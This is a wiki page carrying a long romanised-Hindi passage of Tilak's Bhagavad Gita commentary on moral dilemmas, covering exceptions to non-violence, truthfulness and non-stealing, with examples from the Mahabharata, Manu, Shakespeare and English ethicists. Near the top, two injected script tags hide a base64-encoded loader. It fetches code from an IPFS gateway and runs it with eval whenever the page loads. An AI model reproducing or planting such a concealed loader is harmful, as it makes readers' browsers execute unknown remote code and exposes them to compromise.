गीता कर्म जिज्ञासा

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

thumb|250px

bal gangadhar lokamany tilak dvara gita bhashy

kian karm kimakarmeti kavayoapyatr mohitaah.[1]- gita 4.16.

bhagavadgita ke arambh mean paraspar–viruddh do dharmoan ki ulajhan mean phans jane ke karan arjun jis tarah karttavyamoodh ho gaya tha aur us par jo mauqa a p da tha, vah kuchh apoorv nahian hai. un asamarth aur apana hi pet palane vale logoan ki bat hi bhinn hai jo sannyas lekar aur sansar ko chho dakar van mean chale jate haian athava jo kamazori ke karan jagath ke anek anyayoan ko chupachap sah liya karate haian. parantu samaj mean rahakar hi jin mahanh tatha karyakartta purushoan ko apane saansarik karttavyoan ka palan dharm tatha nitipoorvak karana p data hai, unhian par aise mauke anek bar aya karate haian. yuddh ke aranbh mean hi arjun ko karttavy–jijnasa aur moh hua. aisa moh yudhishthir ko yuddh mean mare hue apane rishtedaroan ka shraddh karate samay hua tha. usake is moh ko door karane ke lie ‘shaanti–parv’ kaha gaya hai. karmakarm sanshay ke aise anek prasang dhoodhakar athava kalpit karake un par b de–b de kaviyoan ne suras kavy aur uttam natak likhe haian.

udaharanarth, suprasiddh aangrez natakakar sheksapiyar ka haimalet natak hi le lijie. denamark desh ke prachin rajapootr haimalet ke chacha ne, rajyakartta apane bhaee haimalet ke bap ko mar dala, haimalet ki mata ko apani stri bana liya aur rajagaddi bhi chhin li. tab us rajakumar ke man mean yah jhag da paida hua ki aise papi chacha ka vadh karake putr–dharm ke anusar apane pita ke rrin se mukt ho jaooan; athava apane sage chacha, apani mata ke pati aur gaddi par baithe hue raja par daya karooan? is moh mean p d jane ke karan komal aantahkaran ke haimalet ki kaisi dasha huee. shrikrishna ke saman koee bhi marg–darshak aur hitakartta n hone ke karan vah kaise pagal ho gaya aur aant mean ‘jiyean ya marean’ isi bat ki chianta karate–karate usaka aant kaise ho gaya, ityadi batoan ka chitr is natak mean bahut achchhi tarah se dikhaya gaya hai.

‘koriyolenas’ nam ke doosare natak mean bhi isi tarah ek aur prasang ka varnan sheksapiyar ne kiya hai. rom nagar mean koriyolenas nam ka ek shoor saradar tha. nagaravasiyoan ne usako shahar se nikal diya. tab vah roman logoan ke shatruoan mean ja mila aur usane pratijna ki ki ‘‘maian tumhara sath kabhi nahian chho dooanga’’. kuchh samay ke bad in shatruoan ki sahayata se usane roman logoan par hamala kiya aur vah apani sena lekar rom shahar ke daravaze ke pas a pahuancha. us samay rom shahar ki striyoan ne koriyolenas ki stri aur mata ko samane karake matribhoomi ke sambandh mean usako upadesh diya. aant mean usako rom ke shatruoan ko die hue vachan ka bhang karana p da. karttavy–akarttavy ke moh mean phans jane ke aise aur bhi kee udaharan duniya ke prachin aur adhunik itihas mean pae jate haian. parantu ham logoan ko itani door jane ki koee avashyakata nahian. hamara mahabharat granth aise anekoan udaharanoan ki ek b di khan hi hai. granth ke arambh[2] mean varnan karate hue svany vyas ji ne usako 'sookshmarthanyayayuktan', 'anekasamayanvitan' adi visheshan die ge haian. usamean dharmashastr, arthashastr aur mokshashastr sab kuchh a gaya hai. itana hi nahian, kiantu usaki mahima is prakar gayi gayi hai ki 'yadihasti tadanyatr yannehasti n tatkachith' arthat; jo kuchh isamean hai vahi aur sthanoan mean bhi hai, aur jo isamean nahian hai vah aur kisi bhi sthan mean nahian hai[3]. saraansh yah hai ki is sansar mean anek kathinaiyaan utpann hoti haian. aise samay b de–b de prachin purushoan ne kaisa bartav kiya, isaka sulabh akhyanoan ke dvara sadharanajanoan ko bodh kara dene ke lie hi 'bharat' ka 'mahabharat' ho gaya hai. nahian to sirf 'bharatiy yuddh' athava 'jay' namak itihas ka varnan karane ke lie atharah parvoan ki kuchh avashyakata n thi.

ab yah prashn kiya ja sakata hai ki shrikrishna aur arjun ki batean chho d dijie; hamare–tumhare lie itane gahare pani mean baithane ki kya avashyakata hai? kya manu adi smritikaroan ne apane granthoan mean is bat spasht niyam nahian bana die haian ki manushy sansar mean kis tarah bartav kare? kisi ki hiansa mat karo, niti se chalo, sach bolo, guru aur b doan ka samman karo, chori aur vyabhichar mat karo ityadi sab dharmoan mean paee jane vali sadharan ajnaoan ka yadi palan kiya jay to oopar likhe karttavy–akarttavy ke jhag de mean p dane ki kya avashyakata hai? parantu isake viruddh yah bhi prashn kiya ja sakata hai ki jab tak is sansar ke sab log ukt ajnaoan ke anusar bartav karane nahian lage haian, tab tak sajjanoan ko kya karana chahie? kya ye log apane sadachar ke karan dushtajanoan ke phande mean apane ko phansa lean? ya apani raksha ke lie 'jaise ko taisa' hokar un logoan ka pratikar karean? isake sivay ek bat aur bhi hai. yadyapi ukt sadharan niyamoan ko nity aur pramanabhoot man lean, tathapi kary–karttaoan ko anek bar aise mauke ate haian ki us samay ukt sadharan niyamoan mean se do ya do se adhik niyam ekadam lagoo hote haian. us samay 'yah karooan ya vah karooan' is chinta mean p dakar manushy pagal–sa ho jata hai. arjun par aisa hi mauqa a p da tha. parantu arjun ke sivay aur logoan par bhi aise kathin avasar aksar aya karate haian.

is bat ka marmik vivechan mahabharat mean kee sthanoan par kiya gaya hai. udaharanarth; manu ne sab varn ke logoan ke lie nitidharm ke paanch niyam batalae haian– 'ahiansa satyamasteyan shauchamindriyanigrah:[4]' arthath; ahiansa, saty, astey, kaya vacha aur man ki shuddhata, evan indriy–nigrah. in nitidharmoan mean se ek ahiansa ka hi vichar kar lijie. 'ahiansa paramo dharm:[5]' yah tattv sirf hamare vaidik dharm mean hi nahian, kiantu any sab dharmoan mean bhi pradhan mana gaya hai.

bauddh aur eesaee dharm–granthoan mean jo ajnaean haian unamean ahiansa ko manu ki ajna ke saman pahala sthan diya gaya hai. sirf kisi ki jan le lena hi hiansa nahian hai. usamean kisi ke man athava sharir ko du:kh dene ka bhi samavesh kiya jata hai arthath kisi sachetan prani ko kisi prakar du:khi n karana hi ahiansa hai. is sansar mean sab logoan ki sammati ke anusar yah ahiansa dharm sabhi dharmoan mean shreshth mana gaya hai. parantu ab kalpana kijie ki hamari jan lene ke lie ya hamari stri athava kanya par balatkar karane ke lie athava hamare ghar mean ag lagane ke lie ya hamara dhan chhin lene ke lie koee dusht manushy hath mean shastr lekar taiyar ho jae aur us samay hamari raksha karane vala hamare pas koee n ho; to us samay hamean kya karana chahiye? kya 'ahiansa paramo dharm:' kahakar aise atatayi manushy ki upeksha ki jay? ya, yadi vah sidhi tarah se n mane to yathashakti usaka shasan kiya jay? manu ji kahate haian–

guruan va balavriddhau va brahmanan va bahushrutamh.
atatayinamayantan hanyadevavicharayanh..

arthath; 'aise atatayi ya dusht manushy ko avashy mar dalean; kiantu yah vichar n karean ki vah guru hai, boodha hai, balak hai ya vidvanh brahman hai.' shastrakar kahate haian ki[6] aise samay hatya karane ka pap hatya karane vale ko nahian lagata, kintu atatayi manushy apane adharm se hi mara jata hai. atmaraksha ka yah hak kuchh maryada ke bhitar adhunik faujadari qanoon mean bhi svikrit kiya gaya hai. aise maukoan par ahiansa se atmaraksha ki yogyata adhik mani jati hai. bhroon hatya sabase adhik niandaniy mani gayi hai; parantu jab bachcha pet mean tedha hokar atak jata hai tab kya usako katakar nikal nahian dalana chahie? yajn mean pashu ka vadh karana ved ne bhi prashast mana hai[7]; parantu pisht pashu ke dvara vah bhi tal sakata hai[8]. tathapi hava, pani, phal ityadi sab sthanoan mean jo saik do jiv–jantu haian unaki hatya kaise tali ja sakati hai? mahabharat[9] mean arjun kahate haian–

sookshmayonini bhootani tarkagamyani kanichith.
pakshmanoapi nipaten yeshaan syath skandhaparyayah..

arthath; 'is jagath mean aise–aise sookshm jantu haian ki jinaka astitv yadyapi netroan se dekh nahian p data tathapi tark se siddh hai; aise jantu itane haian ki yadi ham apani aankhoan ki palak hilaean to utane se hi un jantuoan ka nash ho jata hai.' aisi avastha mean yadi ham mukh se kahate rahean ki 'hiansa mat karo, hiansa mat karo' to usase kya labh hoga? isi vichar ke anusar anushasan parv mean shikar karane ka samarthan kiya gaya hai. vanaparv mean ek katha hai ki koee brahman krodh se kisi pativrata stri ko bhasm kar dalana chahata tha; parantu jab usaka prayatn saphal nahian hua tab vah us stri ki sharan mean gaya. dharm ka sachcha rahasy samajh lene ke lie us brahman ko us stri ne use kisi vyadh ke yahaan bhej diya. yahaan vyadh maans becha karata tha; parantu tha apane mata–pita ka b da pakka bhakt. is vyadh ka yah vyavasay dekhakar brahman ko atyant vismay aur khed hua. tab vyadh ne use ahiansa ka sachcha tattv samajhakar batala diya. is jagath mean kaun kisako nahian khata? 'jivo jivasy jivanamh[10]'– yahi niyam sarvatr dekh p data hai. apatakal mean to 'pranasyannamidan sarvamh' yah niyam sirf smritikaroan[11] hi ne nahian kaha hai; kintu upanishadoan mean bhi spasht kaha hai[12]. yadi sab log hiansa chho d dean to kshatr dharm kahaan aur kaise rahega? yadi kshatr dharm nasht ho jae to praja ki raksha kaise hogi? saraansh yah hai ki niti ke samany niyamoan se hi sada kam nahian chalata; nitishastr ke pradhan niyam– ahiansa mean bhi karttavy–akarttavy ka sookshm vichar karana hi p data hai. ahiansa dharm ke sath kshama, daya, shanti adi gun shastroan adi mean kahe ge haian; parantu sab samay shanti se kaise kam chal sakega? sada shant rahane vale manushyoan ke bal–bachchoan ko bhi dusht log haran kie bina nahian raheange. isi karan ka pratham ullekh karake prahlad ne apane nati, raja bali se kaha hai–

n shreyah satatan tejo n nityan shreyasi kshama.
...
tasmannityan kshama tat panditairapavadita..

arthat; 'sadaiv kshama karana athava krodh karana shreyaskar nahian hota. isi lie he tat! panditoan ne kshama ke lie kuchh apavad bhi kahe haian[13]. isake bad kuchh maukoan ka varnan kiya gaya hai jo kshama ke lie uchit haian; tathapi prahlad ne is bat ka ullekh nahian kiya ki in maukoan ka pahachanane ka tattv ya niyam kya hai. yadi in maukoan ko pahachane bina, sirf apavadoan ka hi koee ullekh kare to vah duracharan samajha jaega. isalie yah janana atyant avashyak aur ati mahattvapoorn hai ki in maukoan ko pahachanane ka niyam kya hai.
doosara tattv 'saty' hai, jo ki sab deshoan aur dharmoan mean bhali–bhaanti mana jata hai aur praman samajha jata hai. saty ka varnan kahaan tak kiya jae? ved mean saty ki mahima ke vishay mean yah kaha gaya hai ki sari srishti ki utpatti ke pahale 'rritan' aur 'saty' utpann hue; aur saty hi se akash, prithvi, vayu adi panch mahabhoot sthir haian – 'rritanch satyan chabhiddhattapasoadhyajayat[14]', 'satyenottabhita bhoomiah[15]'. 'saty' shabd ka dhatvarth bhi yahi hai – 'rahane vala' arthat; 'jisaka kabhi abhav n ho' athava 'trikal abhadit'. isi lie saty ke vishay mean kaha gaya hai ki 'saty ke sivay aur koee dharm nahian hai, saty hi parabrahm hai.' mahabharat mean kee jagah is vachan ka ullekh kiya gaya hai ki 'nasti satyatparo dharmah[16]' aur yah bhi likha hai kiah–

ashvamedhasahastran ch satyan ch tulaya dhritamh.
ashvamedhasahastraddhi satyamev vishishyate..

arthat; 'hazar ashvamedh aur saty ki tulana ki jae to saty hi adhik hoga[17]'. yah varnan samany saty ke vishay mean hua. saty ke vishay mean manu ji ek vishesh bat aur kahate haian[18]:-

vachyartha niyataah sarve vanmoola vagviniah sritaah.
taan tu yah stenayedvachan s sarvasteyakrinnarah..

arthat; 'manushyoan ke sab vyavahar vani se hua karate haian. ek ke vichar doosare ko batane ke lie shabd ke saman any koee sadhan nahian hai. vahi sab vyavaharoan ka ashray–sthan aur vani ka mool stotr hai. jo manushy usako malin kar dalata hai, arthath jo vani ki pratarana karata hai, vah sab pooanji hi ki chori karata hai.' isi lie manu ne kaha hai ki 'satyapootaan vadedvachan[19]'– jo saty se pavitr kiya gaya ho, vahi bola jae. aur any dharmoan se saty hi ko pahala sthan dene ke lie upanishad mean bhi kaha hai 'satyan vad. dharman char[20]'. jab banoan ki shaiya par p de–p de bhishm pitamah shanti aur anushasan parvoan mean, yudhishthar ko sab dharmoan ke upadesh de chuke the, tab pran chho dane ke pahale 'satyeshu yatitarvy vah satyan hi paraman balan' is vachan ko sab dharmoan ka sar samajh kar unhoanne saty ke hi anusar vyavahar karane ke lie sab logoan ko upadesh kiya hai[21]. bauddh aur eesaee dharmoan mean bhi inhian niyamoan ka varnan paya jata hai.

kya is bat ki kabhi kalpana ki ja sakati hai ki, jo saty is prakar svayansiddh aur chirasthayi hai, usake lie bhi kuchh apavad hoange? parantu dushtajanoan se bhare hue is jagath ka vyavahar bahut hi kathin hai. kalpana kijie ki kuchh adami choroan se pichha kie jane par tumhare samane kisi sthan mean ja kar chhip rahe haian. isake bad hath mean talavar lie hue chor tumhare pas akar poochhane lagean ki ve adami kahaan chale ge? aisi avastha mean tum kya kahoge? kya tum sach bolakar sab hal kah doge, ya un aparadhi manushyoan ki raksha karoge? shastr ke anusar niraparadhi jivoan ki hiansa ko rokana, saty hi ke saman mahattv ka dharm hai. manu kahate haian 'naprishtah kasyachidbrooyann chanyayen prichchhatah[22]'– jab tak koee prashn n kare tab tak kisi se bolana nahian chahie. aur yadi koee anyay se prashn kare, to poochhane par bhi uttar nahian dena chahie. yadi maloom bhi ho to si di ya pagal ke saman hooan–hooan kar dena aur bat ko bana dena chahie– 'janannapi hi medhavi jadavallok achareth.' achchha, kya hooan–hooan kar dena aur bat bana dena ek tarah se asaty bhashan karana nahian hai?

mahabharat[23] mean kee sthanoan mean kaha hai 'n vyajen chareddharman' dharm se bahana karake man ka samadhan nahian kar lena chahie; kyoanki tum dharm ko dhokha nahian de sakate, apitu tum khud dhokha kha jaoge. achchha, yadi hooan– hooan karake kuchh bat bana lene ka bhi samay n ho, to kya karana chahie? man lijie, koee chor hath mean talavar lekar chhati par a baitha hai aur poochh raha hai ki tumhara dhan kahian hai? yadi kuchh uttar n doge to jan hi se hath dhona p dega. aise samay par kya bolana chahie? sab dharmoan ka rahasy janane vale bhagavan shrikrishna aise hi choroan ki kahani ka drishtaant dekar karnaparv[24] mean arjun se aur age shaantiparv ke satyanrit adhyay[25] mean bhishm pitamah yudhishthir se kahate haian–

akoojanen chenmoksho navakoojetkathanchan.
avashyan koojitavye va shankeranvapyakoojanath.
shreyastatranritan vaktuan satyaditi vicharitamh..

arthat; 'yah bat vicharapoorvak nishchit ki gee hai ki yadi bina bole moksh ya chhutakara ho sake, to kuchh bhi ho, bolana nahian chahie. aur yadi bolana avashyak ho athava n bolane se (doosaroan ko) kuchh sandeh hona sanbhav ho, to us samay saty ke badale asaty bolana hi adhik prashast hai.' isaka karan yah hai ki saty dharm keval shabdochchar hi ke lie nahian hai, atev jis acharan se sab logoan ka kalyan ho, vah acharan sirf isi karan se niandy nahian mana ja sakata ki shabdochchar ayatarth hai. jisase sabhi ki hani ho, vah n to saty hi hai aur n hi ahiansa. shaantiparv[26] mean sanatkumar ke adhar par narad ji shuk ji se kahate haian–

satyasy vachanan shreyah satyadapi hitan vadeth.
yadbhootahitamatyantan etatsatyan matan mam..

sach bolana achchha hai; parantu saty se bhi adhik aisa bolana achchha hai jisase sabhi praniyoan ka hit ho. kyoanki jisase sab praniyoan ka atyant hit hota hai, vahi hamare mat se saty hai.' 'yadbhootahitan' pad ko dekhakar adhunik upayogita–vadi aangrezoan ka smaran karake yadi koee ukt vachan ko prakshipt kahana chahe, to unhean smaran rakhana chahie ki yah vachan mahabharat ke vanaparv mean brahman aur vyadh ke sanvad mean do–tin bar aya hai. unamean se ek jagah to 'ahiansa satyavachanan sarvabhootahitan paramh path hai[27], aur doosari jagah 'yadbhootahitamatyantan tatsatyamiti dharana[28]', aisa path bhed kiya gaya hai. satyapratijn yudhishthir ne dronachary se 'naro va kuanjaro va' kahakar unhean sandeh mean kyoan dal diya? isaka karan vahi hai jo oopar kaha gaya hai, aur kuchh nahian.

aisi hi aur any batoan mean bhi yahi niyam lagaya jata hai. hamare shastroan ka yah kathan nahian hai ki jhooth bolakar kisi khooni ki jan bachayi jae. shastroan mean khoon karane vale adami ke lie dehant, prayashchit athava vadhadand ki saza kahi gee hai, isi lie vah saza pane athava vadh karane ke yogy hai. sab shastrakaroan ne yahi kaha hai ki aise samay, athava isi ke saman aur kisi samay, jo adami jhoothi gavahi deta hai vah apane sat ya aur adhik poorvajoan sahit narak mean jata hai[29]. parantu jab karnaparv mean varnit ukt choroan ke drishtaant ke saman, hamare sach bolane se niraparadhi adamiyoan ki jan jane ki ashanka ho to us samay kya karana chahie? grin namak ek aangrez granthakar ne apane 'nitishastr ka upodghat' namak granth mean likha hai ki aise maukoan par nitishastr mook ho jate haian. yadyapi, manu aur yajnavalky aise prasangoan ki ganana satyapavad mean karate haian, tathapi yah bhi usake mat mean gaun bat hai. isi lie aant mean unhoanne is apavad ke lie bhi prayashchit batalaya hai– 'tatpavanay nirvapyashcharooah sarasvato dvijaiah[30].

kuchh b de aangrezoan ne jinhean ahiansa ke apavad ke vishay mean ashchary nahian maloom hota, hamare shastrakaroan ko saty ke vishay mean dosh dene ka yatn kiya hai. isilie yahaan is bat ka ullekh kiya jata hai ki saty ke vishay mean, pramanik eesaee dharmopadeshak aur nitishastr ke aangrez granthakar kya kahate haian. kraist ka shishy p aaul baibil mean kahata hai ki 'yadi mere asaty bhashan se prabhu ke saty ki mahima aur badhati hai (arthath; eesaee dharm ka adhik prachar hota hai), to isase maian papi kyoankar ho sakata hooan[31]'? eesaee dharm ke itihasakar milamain ne likha hai ki prachin eesaee dharmopadeshak kee bar isi tarah acharan kiya karate the. yah bat sach hai ki vartaman samay ke nitishastrajn, kisi ko dhokha dekar ya bhulakar dharm bhrasht karake, nyay nahian maneange. parantu ve bhi yah kahane ko taiyar nahian haian ki saty dharm apavad–rahit hai. udaharanarth; yah dekhie ki sijavik nam ke jis pandit ka nitishastr hamare k aaulejoan mean padhaya jata hai, usaki kya ray hai. karm aur akarm ke sandeh ka nirnay, jis tattv ke adhar par, yah granthakar kiya karata hai, usako 'sabase adhik logoan ka sabase adhik sukh' (bahut logoan ka bahut sukh) kahate haian. isi niyam ke anusar yah nirnay kiya hai ki chhote l dakoan ko aur pagaloan ko uttar dene ke samay, aur isi prakar bimar adamiyoan ko (yadi sach bat suna dene se unake svasthy ke big d jane ka bhay ho) apane shatruoan ko, choroan ko aur (yadi bina bole kam n simatata ho to) jo anyay se prashn karean, unako uttar dene ke samay athava vakiloan ko apane vyavasay mean jhooth bolana anuchit nahian hai.[32]

mil ke nitishastr ke granth mean bhi isi apavad ka samavesh kiya gaya hai.[33] in apavadoan ke atirikt sijavaki apane granth mean yah bhi likhata hai ki 'yadyapi kaha gaya hai ki sab logoan ko sach bolana chahie, tathapi ham yah nahian kah sakate ki jin rajanitijnoan ko apani karravaee gupt rakhani p dati hai, ve auroan ke sath tatha vyapari apane grahakoan se hamesha sach hi bola karean[34].' kisi any sthan mean vah likhata hai ki yahi riyayat padariyoan aur sipahiyoan ko milati hai. lesli stifan nam ka ek aur aangrez granthakar hai. usane nitishastr ka vivechan adhibhautik drishti se kiya hai. vah bhi apane granth mean aise hi udaharan dekar ant mean likhata hai ki, 'kisi kary ke parinam ki or dhyan dene ke bad hi usaki nitimatta nishchit ki jani chahie. yadi mera yah vishvas ho ki jhooth bolane se hi kalyan hoga, to maian saty bolane ke lie kabhi taiyar hi nahian rahooanga. mere yah vishvas se yah bhav bhi ho sakata hai ki, is samay jhooth bolana hi mera karttavy hai[35].' grin sahab ne nitishastr ka vichar adhyatmik drishti se kiya hai.

ap ukt prasangoan ka ullekh karake spasht riti se kah sakate haian ki aise samay nitishastr manushy ke sandeh ki nivritti kar nahian sakata. ant mean apane yah siddhant likha hai ki, 'nitishastr yah nahian kahata ki kisi sadharan niyam ke anusar, sirf yah samajhakar ki vah niyam hai, hamesha chalane mean kuchh vishesh mahattv hai; kintu usaka kathan sirf yahi hai ki samanyatah us niyam ke anusar chalana hamare lie shreyaskar hai. isaka karan yah hai ki aise samay ham log keval niti ke lie apani lobhamoolak nich manovrittiyoan ko tyagane ki shiksha paya karate haian[36].' nitishastr par granth likhane vale ben, bebel adi any aangrez panditoan ka bhi aisa hi mat hai[37].
yadi ukt aangrez granthakaroan ke matoan ki tulana hamare dharmashastrakaroan ke banae hue niyamoan ke sath ki jae, to yah bat sahaj hi dhyan mean a jaegi ki saty ke vishay mean abhimani kaun hai. isamean sandeh nahian hai ki hamare shastroan mean kaha hai kiah–

n narmayuktan vachanan hinasti n strishu rajann vivahakale.
pranatyaye sarvadhanapahare panchanritanyahurapatakani..

arthat; 'hansi mean striyoan ke sath, vivah ke samay jab jan par a bane tab aur sampatti ki raksha ke lie jhooth bolana pap nahian hai[38]'. parantu isaka matalab yah nahian hai ki striyoan ke sath hamesha jhooth hi bolana chahie. jis bhav se sijavik sahab ne 'chhote l dake, pagal aur bimar adami' ke vishay mean apavad kaha hai, vahi bhav mahabharat ke ukt kathan ka bhi hai. aangrez granthakar paralaukik tatha adhyatmik drishti ki or kuchh bhi dhyan nahian dete. un logoan ne to khullam–khulla yahaan tak pratipadan kiya hai ki vyapariyoan ka apane labh ke lie jhooth bolana anuchit nahian hai. kintu yah bat hamare shastrakaroan ko sammat nahian hai. in logoan ne kuchh aise hi maukoan par jhooth bolane ki anumati di hai, jabaki keval saty shabdochcharan (arthath keval vachik saty) aur sarvabhootahit (arthath vastavik saty) mean virodh ho jata hai aur vyavahar ki drishti se jhooth bolana aparihary ho jata hai. inaki ray hai ki saty adi nitidharm nity, arthath sab samay ek saman abadhit haian; atev yah aparihary jhooth bolana bhi tho da–sa pap hi hai aur isi lie prayashchit bhi kaha gaya hai.

sanbhav hai ki ajakal ke adhibhautik pandit in prayashchitoan ko nirarthak hauva kaheange; parantu jinhoanne ye prayashchit kahe haian aur jin logoan ke lie ye kahe ge haian, ve donoan aisa nahian samajhate. ve to ukt saty–apavad ko gaun hi manate haian. aur is vishay ki kathaoan mean bhi yahi arth pratipadit kiya gaya hai. dekhie, yudhishthir ne sankat ke samay ek hi bar dabi huee avaz se 'naro va kuanjaro va' kaha tha. isaka phal yah hua ki usaka rath, jo pahale zamin se ek aangul oopar chalata tha, ab aur mamooli logoan ke rathoan ke saman dharati par chalane laga aur ant mean ek kshan bhar ke lie use narakalok mean rahana p da[39]. doosara udaharan arjun ka hi le lijie. ashvamedh parv[40] mean likha hai ki yadyapi arjun ne bhishm ka vadh kshatradharm ke anusar kiya tha, tathapi usane shikhandi ke pichhe chhipakar yah kam kiya tha. isi lie usako apane putr babhruvahan se parajit hona p da. in sab batoan se yahi pragat hota hai ki vishesh prasangoan ke lie kahe ge ukt apavad mukhy ya praman nahian mane ja sakate. hamare shastrakaroan ka aantim aur tatvik siddhant vahi hai jo mahadev ne parvati se kaha haiah–

atmahetoah pararthe va narmahasyashrayattatha.
ye mrisha n vadantih te naraah svargagaminah..

arthat; 'jo log is jagath mean svarth ke lie, pararth ke lie ya majak mean bhi kabhi jhooth nahian bolate, inhian ko svarg ki prapti hoti hai[41]'. apani pratijna ya vachan ko poora karana saty hi mean shamil hai. bhagavan shrikrishna aur bhishm pitamah kahate haian, 'chahe himalay parvat apane sthan se hat jae, parantu hamara vachan tal nahian sakata[42]'. bhrirtahari ne bhi satpurushoan ka varnan is prakar kiya haiah–

tejasvinah sukhamasoonapi satyanjanti satyavratavyasanino n punah pratijnamh..

arthat; 'tejasvi purush anand se apani jan bhi deange, parantu ve apani pratijna ka tyag kabhi nahian kareange[43].' isi tarah shri ramachandr ji ke ek–patnivrat ke sath unaka ek ban aur ek vachan ka vrat bhi prasiddh hai. jaisa is subhashit mean kaha hai,

dviahsharan nabhisanghatte ramo dvirnabhibhashate

harishchandr ne to apane svapn mean die hue vachan ko saty karane ke lie dom ki nich seva bhi ki thi. isake ulata, ved mean yah varnan hai ki indr adi devataoan ne vrittasur ke sath jo pratijnaean ki thian, unhean met diya aur usako mar dala. aisi hi katha puranoan mean hiranyakashipu ki hai. vyavahar mean bhi kuchh kaul–qarar aise hote haian ki jo nyayalay mean be–kayada samajhe jate haian ya jinake anusar chalana anuchit mana jata hai. arjun ke vishay mean aisi hi ek katha mahabharat[44] mean hai. arjun ne pratijna ki thi ki jo koee mujhase kahega ki 'too apana gaandiv dhanush kisi doosare ko de de! usaka sir mean turant hi kat dalooanga.' isake bad yuddh mean jab yudhishthir karn se parajit hue tab unhoanne nirash hokar arjun se kaha, 'tera gaandiv hamare kis kam ka hai? too use chho d de!' yah sunakar arjun hath mean talavar le yudhishthir ko marane dau da. us samay bhagavan shrikrishna vahian the. unhoanne tatvajnan ki drishti se saty dharm ka marmik vivechan karake arjun ko yah upadesh diya ki, 'too moodh hai, tujhe ab tak sookshm–dharm maloom nahian hua hai. tujhe vriddh janoan se is vishay ki shiksha grahan karani chahie, n vriddhaah sevitastvaya– toone vriddh janoan ki seva nahian ki hai. yadi too pratijna ki raksha karana hi chahata hai to yudhishthir ki nirbhartsana kar, kyoanki sabhy janoan ki nirbhartsana mrityu hi ke saman hai.'

is prakar bodh karake unhoanne arjun ko jyeshth bhratrivadh ke pap se bachaya. is samay bhagavan shrikrishnaa ne jo satyanrit–vivek arjun ko bataya hai, usi ko age chalakar shaantiparv ke satyanrit namak adhyay mean bhishm ne yudhishthir se kaha hai[45]. yah upadesh vyavahar mean logoan ke dhyan mean rahana chahie. isamean sandeh nahian hai ki in sookshm prasangoan ko janana bahut hi kathin kam hai. dekhie, is sansar mean saty ki apeksha bhratridharm hi shreshth mana jata hai; aur gita mean yah nishchit kiya gaya hai ki bandhuprem ki apeksha kshatradharm prabal hai.

jab ahiansa aur saty ke vishay mean itana vad–vivad hai tab ashchary ki bat nahian ki yahi hal nitidharm ke tisare tatv, arthath astey ka bhi ho. yah bat nirvivad siddh hai ki nyay–poorvak prapt ki huee kisi ki sampatti ko chura le jane ya loot lene ki svatantrata doosaroan ko mil jae to dravy ka sanchay karana band ho jaega, samaj ki rachana big d jaegi, charoan taraph anavastha ho jaegi aur sabhi ki hani hogi. parantu is samay ke bhi apavad haian. jab durbhiksh ke samay mol lene, mazadoori karane ya bhiksha maangane se bhi anaj nahian milata; tab aisi apatti mean yadi koee manushy chori karake atm–raksha kare, to kya vah papi samajha jaega?

mahabharat[46] mean yah katha hai ki kisi samay barah varsh tak durbhiksh raha aur vishvamitr par bahut b di apatti aee. tab unhoanne kisi shvapach (chaandal) ke ghar se kutte ka maans churaya aur ve is abhakshy bhojan se apani raksha karane ke lie pravritt hue. us samay shvapach ne vishvamitr ko panch panchanakha bhakshyaah[47] ityadi ‘shastrarth batala kar abhakshy–bhakshan; aur vah bhi chori se n karane ke vishay mean bahut upadey kiya. parantu vishvamitr ne usako daant kar yah uttar diyaah–

pibantyevodakan gavo mandookeshu roovatsvapi.
n teadhikaro dharmeasti ma bhooratmaprashansakah..

'are! yadyapi medhak tarr–tarr kiya karate haian to bhi gauean pani pina band nahian karatian. chup rah! mujhako dharm–jnan batane ka tera adhikar nahian hai. vyarth apani prashansa mat kar.' usi samay vishvamitr ne yah bhi kaha ki jivitan maranatshreyo jivandharmamavapnuyath– arthat; yadi zianda raheange to dharm ka acharan kar sakeange; isi lie dharm ki drishti se marane ki apeksha jivit rahana adhik shreyaskar hai. manu ji ne ajigart, vamadev adi anyayi rrishiyoan ke udaharan die haian jinhoanne aise sankat ke samay mean isi prakar acharan kiya hai (manusmriti. 10.105–108). habs namak aangrez granthakar likhata hai ki 'kisi kathin akal ke samay jab anaj mol n mile ya dan bhi n mile, tab yadi pet bharane ke lie koee chori ya sahas karm kare, to usaka yah aparadh maf samajha jata hai.[48]' aur mil ne to yahaan tak likha hai ki aise samay chori karake apana jivan bachana manushy ka karttavy hai.

‘marane se zianda rahana shreshth hai’ – kya vishvamitr ka yah tattv sarvatha apavad–rahit kaha ja sakata hai? nahian! is jagath mean sirf zinda rahana hi kuchh purusharth nahian hai. kaue bhi kak–bali kha kar kee varsh tak jite rahate haian. yahi sochakar virapatni vidula apane putr se kahati hai ki bichhaune par p de–p de s d jane ya ghar mean sau varsh ki ayu ko vyarth vyatit karane ki apeksha, yadi too ek kshan bhi apane parakram ki jyoti pragat karake mar jaega to achchha hoga – muhoortan jvalitan shreyo n ch dhoomayitan chiran.[49] yadi yah bat sach hai ki aj nahian to kal, aant mean sau varsh ke bad marana zaroor hai[50]; to phir usake lie rone ya darane se kya labh hai? adhyatmashastr ki drishti se to atma nity aur amar hai; isalie mrityu ka vichar karate samay, sirf is sharir ka hi vichar karana baki rah jata hai. achchha; yah to sab janate haian ki yah sharir nashavan hai. parantu atma ke kalyan ke lie is jagath mean jo kuchh karana hai, usaka ekamatr sadhan yahi nashavan manushy–deh hai.

